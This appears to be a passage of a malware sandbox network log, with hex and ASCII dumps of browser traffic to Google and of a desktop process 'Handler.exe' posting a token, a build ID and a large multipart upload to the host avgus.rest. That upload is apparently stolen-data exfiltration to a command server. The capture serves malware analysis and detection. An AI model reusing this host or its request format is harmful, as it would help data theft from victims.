2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e Data Ascii: nction(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(a.
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e Data Ascii: or(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;this.
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 Data Ascii: "unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototype
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 Data Ascii: ne)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 Data Ascii: idden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Err
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 Data Ascii: is[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.prototyp
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 Data Ascii: ion(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.nex
2025-01-13 19:18:19 UTC	1390	IN	Data Raw: 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 74 72 Data Ascii: y.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("Str

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49747	142.250.185.110	443	7364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:20 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 915 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 19:18:20 UTC	915	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 36 37 39 35 38 39 37 37 36 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1736795897762",null,null,null,
2025-01-13 19:18:20 UTC	946	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=GXDA-qBAhdQ2eopeKkdMNvR5A912SqYv4bh9QjD8MX-bt6kHi1lcLpV3q10g7bxWW3GarS3a3L92NIuTM-MS2FZoLV3QSqmg071H4xDXpV4VqV7lvRvjSwXJg7-FQgs6gfUnnprjQ5bUoRdqxUdttmWb3JejGhI9mT09IP0IG14-EtXoIGezi0N4ZZ_7; expires=Tue, 15-Jul-2025 19:18:20 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 13 Jan 2025 19:18:20 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 13 Jan 2025 19:18:20 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2025-01-13 19:18:20 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2025-01-13 19:18:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49752	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:21 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----kng4e3ozmozuaaasj5ph User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:21 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6b 6e 67 34 65 33 6f 7a 6d 6f 7a 75 61 61 61 73 6a 35 70 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 6b 6e 67 34 65 33 6f 7a 6d 6f 7a 75 61 61 61 73 6a 35 70 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 6b 6e 67 34 65 33 6f 7a 6d 6f 7a 75 61 61 61 73 6a 35 70 68 0d 0a 43 6f 6e 74 Data Ascii: ------kng4e3ozmozuaaasj5phContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------kng4e3ozmozuaaasj5phContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------kng4e3ozmozuaaasj5phCont
2025-01-13 19:18:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:21 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49755	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:22 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----58y589hl6p8qiekng47q User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 38 79 35 38 39 68 6c 36 70 38 71 69 65 6b 6e 67 34 37 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 35 38 79 35 38 39 68 6c 36 70 38 71 69 65 6b 6e 67 34 37 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 35 38 79 35 38 39 68 6c 36 70 38 71 69 65 6b 6e 67 34 37 71 0d 0a 43 6f 6e 74 Data Ascii: ------58y589hl6p8qiekng47qContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------58y589hl6p8qiekng47qContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------58y589hl6p8qiekng47qCont
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:22 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
